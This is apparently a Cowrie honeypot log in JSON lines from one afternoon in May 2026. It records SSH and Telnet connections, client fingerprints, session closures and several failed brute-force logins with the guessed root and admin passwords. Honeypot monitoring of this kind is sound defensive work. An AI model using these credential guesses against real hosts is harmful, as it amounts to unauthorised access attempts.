{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:13:28.420316Z","src_ip":"194.59.206.2","session":"aa779a6174ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:13:28.510436Z","src_ip":"194.59.206.2","session":"aa779a6174ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":43170,"dst_ip":"10.17.0.5","dst_port":22,"session":"84af892c1ecf","protocol":"ssh","message":"New connection: 103.77.242.62:43170 (10.17.0.5:22) [session: 84af892c1ecf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:13:35.479779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:13:35.484643Z","src_ip":"103.77.242.62","session":"84af892c1ecf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:13:35.734042Z","src_ip":"103.77.242.62","session":"84af892c1ecf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"03031990","message":"login attempt [root/03031990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:13:36.473772Z","src_ip":"103.77.242.62","session":"84af892c1ecf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37658,"dst_ip":"159.203.135.109","dst_port":23,"session":"d73547cf7fcd","protocol":"telnet","message":"New connection: 135.148.14.151:37658 (159.203.135.109:23) [session: d73547cf7fcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:13:36.576906Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:13:37.723394Z","src_ip":"103.77.242.62","session":"84af892c1ecf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":50496,"dst_ip":"10.17.0.5","dst_port":22,"session":"8df987041143","protocol":"ssh","message":"New connection: 46.19.67.181:50496 (10.17.0.5:22) [session: 8df987041143]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:13:40.706278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:13:40.712454Z","src_ip":"46.19.67.181","session":"8df987041143","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:13:40.826999Z","src_ip":"46.19.67.181","session":"8df987041143","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.666943073272705,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:13:41.121659Z","src_ip":"180.235.129.180","session":"c0b5cf1187fd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"bogdan123","message":"login attempt [root/bogdan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:13:41.169937Z","src_ip":"46.19.67.181","session":"8df987041143","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.54761242866516,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:13:41.752326Z","src_ip":"135.148.14.151","session":"ae346f32526b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:13:42.286449Z","src_ip":"46.19.67.181","session":"8df987041143","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":41626,"dst_ip":"159.203.135.109","dst_port":23,"session":"1eacb0b952ee","protocol":"telnet","message":"New connection: 135.148.14.151:41626 (159.203.135.109:23) [session: 1eacb0b952ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:13:44.570792Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":55294,"dst_ip":"10.17.0.5","dst_port":22,"session":"24f3a8eb21a3","protocol":"ssh","message":"New connection: 194.113.233.25:55294 (10.17.0.5:22) [session: 24f3a8eb21a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:13:46.773322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:13:46.777978Z","src_ip":"194.113.233.25","session":"24f3a8eb21a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:13:46.862157Z","src_ip":"194.113.233.25","session":"24f3a8eb21a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"789qwe","message":"login attempt [root/789qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:13:47.114717Z","src_ip":"194.113.233.25","session":"24f3a8eb21a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:13:48.204114Z","src_ip":"194.113.233.25","session":"24f3a8eb21a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.90854263305664,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:13:59.166127Z","src_ip":"135.148.14.151","session":"726490a63a1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.75309371948242,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:14:09.329880Z","src_ip":"135.148.14.151","session":"d73547cf7fcd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.84206032752991,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:14:19.412710Z","src_ip":"135.148.14.151","session":"1eacb0b952ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":59244,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8325845e029","protocol":"ssh","message":"New connection: 185.239.84.249:59244 (159.203.135.109:22) [session: d8325845e029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:14:28.098773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:14:28.106930Z","src_ip":"185.239.84.249","session":"d8325845e029","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:14:28.314992Z","src_ip":"185.239.84.249","session":"d8325845e029","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"fjbdfdjkdsfs541544","message":"login attempt [admin/fjbdfdjkdsfs541544] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:14:28.935009Z","src_ip":"185.239.84.249","session":"d8325845e029","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:14:30.146000Z","src_ip":"185.239.84.249","session":"d8325845e029","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.37.88","src_port":40542,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdb7036bed21","protocol":"ssh","message":"New connection: 170.79.37.88:40542 (159.203.135.109:22) [session: fdb7036bed21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:14:58.835458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:14:58.840558Z","src_ip":"170.79.37.88","session":"fdb7036bed21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:14:58.942284Z","src_ip":"170.79.37.88","session":"fdb7036bed21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58424,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa2e74796b12","protocol":"telnet","message":"New connection: 135.148.14.151:58424 (159.203.135.109:23) [session: fa2e74796b12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:15:20.860303Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":34752,"dst_ip":"159.203.135.109","dst_port":23,"session":"927b557dff1f","protocol":"telnet","message":"New connection: 135.148.14.151:34752 (159.203.135.109:23) [session: 927b557dff1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:15:31.147506Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":60060,"dst_ip":"159.203.135.109","dst_port":22,"session":"d40afc6a0494","protocol":"ssh","message":"New connection: 94.159.110.201:60060 (159.203.135.109:22) [session: d40afc6a0494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:15:51.538706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:15:51.546952Z","src_ip":"94.159.110.201","session":"d40afc6a0494","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:15:51.671364Z","src_ip":"94.159.110.201","session":"d40afc6a0494","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"131415","message":"login attempt [root/131415] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:15:52.050793Z","src_ip":"94.159.110.201","session":"d40afc6a0494","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:15:53.178509Z","src_ip":"94.159.110.201","session":"d40afc6a0494","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.41478967666626,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:15:58.274992Z","src_ip":"135.148.14.151","session":"fa2e74796b12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.22115087509155,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:16:08.368512Z","src_ip":"135.148.14.151","session":"927b557dff1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":56238,"dst_ip":"159.203.135.109","dst_port":23,"session":"4907a7a2bc6f","protocol":"telnet","message":"New connection: 135.148.14.151:56238 (159.203.135.109:23) [session: 4907a7a2bc6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:16:17.394630Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.7.165.153","src_port":27889,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ed6bd29b37b","protocol":"telnet","message":"New connection: 45.7.165.153:27889 (159.203.135.109:23) [session: 4ed6bd29b37b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:16:47.221005Z"}
{"eventid":"cowrie.session.closed","duration":35.17642617225647,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:16:52.570937Z","src_ip":"135.148.14.151","session":"4907a7a2bc6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:16:58.846991Z","src_ip":"170.79.37.88","session":"fdb7036bed21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.29009222984314,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:17:00.511016Z","src_ip":"45.7.165.153","session":"4ed6bd29b37b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48164,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cb7985f85f7","protocol":"telnet","message":"New connection: 135.148.14.151:48164 (159.203.135.109:23) [session: 3cb7985f85f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:17:07.991421Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":57672,"dst_ip":"159.203.135.109","dst_port":23,"session":"80dcdd9ad9db","protocol":"telnet","message":"New connection: 135.148.14.151:57672 (159.203.135.109:23) [session: 80dcdd9ad9db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:17:23.950999Z"}
{"eventid":"cowrie.session.closed","duration":31.973769664764404,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:17:39.964854Z","src_ip":"135.148.14.151","session":"3cb7985f85f7","protocol":"telnet"}
